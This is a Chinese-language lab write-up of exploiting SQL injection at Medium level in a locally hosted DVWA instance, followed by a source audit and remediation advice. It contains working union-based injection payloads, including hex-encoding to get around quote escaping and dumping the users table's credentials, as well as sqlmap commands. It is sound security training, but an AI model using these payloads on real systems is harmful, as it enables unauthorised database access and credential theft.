注意:有关SQL Injection的基础知识与原理已在上篇文章指出,此处不再解释。
可参考该文章https://www.cnblogs.com/lky-sec/articles/21412117
本文仅用于网络安全学习与防御研究。所有测试均在本人本地部署、合法授权的 DVWA 靶场中进行,禁止将相关方法用于任何未授权系统。
中等难度SQL注入
一 测试范围与环境
本次测试目标为本地DVWA靶场中的SQL Injection模块
| 测试环境 | 本地DVWA靶场 |
| 安全等级 | Medium |
| 测试系统 | Kali Linux |
| 测试工具 | Firefox、Burp Suite、sqlmap |
| 测试方式 | 黑盒测试、源码审计、自动化辅助验证 |
| 授权情况 | 本人本地靶场,合法授权 |
二 页面与请求分析
1.设置难度等级
进入 DVWA Security,将安全等级设置为 Medium,随后进入 SQL Injection 模块。

2.观察验证模块功能
可发现该模块并没有输入框,仅能选择User ID进行提交

3.使用Burp Suite进行抓包分析
开启Proxy模块进行拦截分析,可知使用了post请求。

三 手工黑盒测试
1.使用Repeater模块
右键将正常请求发送到 Burp Suite Repeater。

2.判断注入点
修改拦截请求中的id参数,输入1' 返回错误

输入1' and 1=1# 返回错误

输入1 and 1=1# 返回正常结果

结合三者输出结果可知,存在数字注入。
3.判断字段数量
输入1 order by 数字#直至出现错误,可知字段数量为2


4.获取数据库名
输入1 union select 1,database()# 查看返回结果得知数据库名为dvwa。

5.获取表名
输入1 union select 1,table_name from information_schema.tables where table_schema ='dvwa'#

发现单引号被转义,可以考虑将其转化为十六进制格式的字符串字面量,借助工具将其转为0x64767761,再次输入,得出表名guestbook,users

6.枚举users表中字段名
将users转为十六进制的字符串字面量为0x7573657273
输入1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273#

7.获取用户数据
输入1 union (select user,password from users limit 1,1)#

四 sqlmap自动化验证
1.保存完整的HTTP请求
准备正常请求,页面重新提交用户,将拦截的请求制作成文件,打开终端,输入nano request.txt将刚才复制内容粘贴进去,保存

2.使用sqlmap检测
输入sqlmap -r request.txt -p id 观察返回结果,验证了注入点存在和字段数量为2。

3.获取当前数据库
输入sqlmap -r request.txt -p id –current-db 验证数据库名为dvwa。

4.获取表名
输入sqlmap -r request.txt -p id -D dvwa –tables 验证表名为guestbook和users。

5.获取users表字段名
输入sqlmap -r request.txt -p id -D dvwa -T users –columns 验证字段名

五 代码审计
1.点击view source查看源码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
2.源码分析
Medium等级通过mysqli_real_escape_string()对用户提交的id参数进行特殊字符转义,相比Low增加了一定防护。然而程序随后仍通过字符串拼接的方式,将$id直接加入SQL语句:
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
由于$id处于未使用引号包裹的数字型SQL上下文,攻击者无需依赖单引号即可使用AND、ORDER BY、UNION SELECT等SQL语法改变原查询结构。
因此,mysqli_real_escape_string()虽然能够影响依赖单引号的部分Payload,但无法从根本上解决SQL注入问题。漏洞的根本原因仍然是用户输入直接参与SQL语句拼接,而没有使用参数化查询。
此外,程序通过mysqli_error()直接向页面返回数据库错误信息,也会为SQL注入测试提供额外的数据库语法和执行反馈。
3.修复方案
1)对 id 参数进行整数类型验证
2)使用参数化查询
3)不向用户直接显示数据库错误
4)使用数据库最小权限
5)增加异常请求日志
六 Low与Medium差异
| 请求方式 | GET | POST |
| 页面输入 | 文本框 | 下拉框 |
| SQL上下文 | 字符型 | 数字型 |
| 特殊字符处理 | 基本无 | mysqli_real_escape_string() |
| 单引号 | 可用于闭合 | 会受到转义 |
| SQL拼接 | 存在 | 仍然存在 |
| SQL注入 | 存在 | 仍然存在 |
| 根本修复 | 参数化查询 | 参数化查询 |


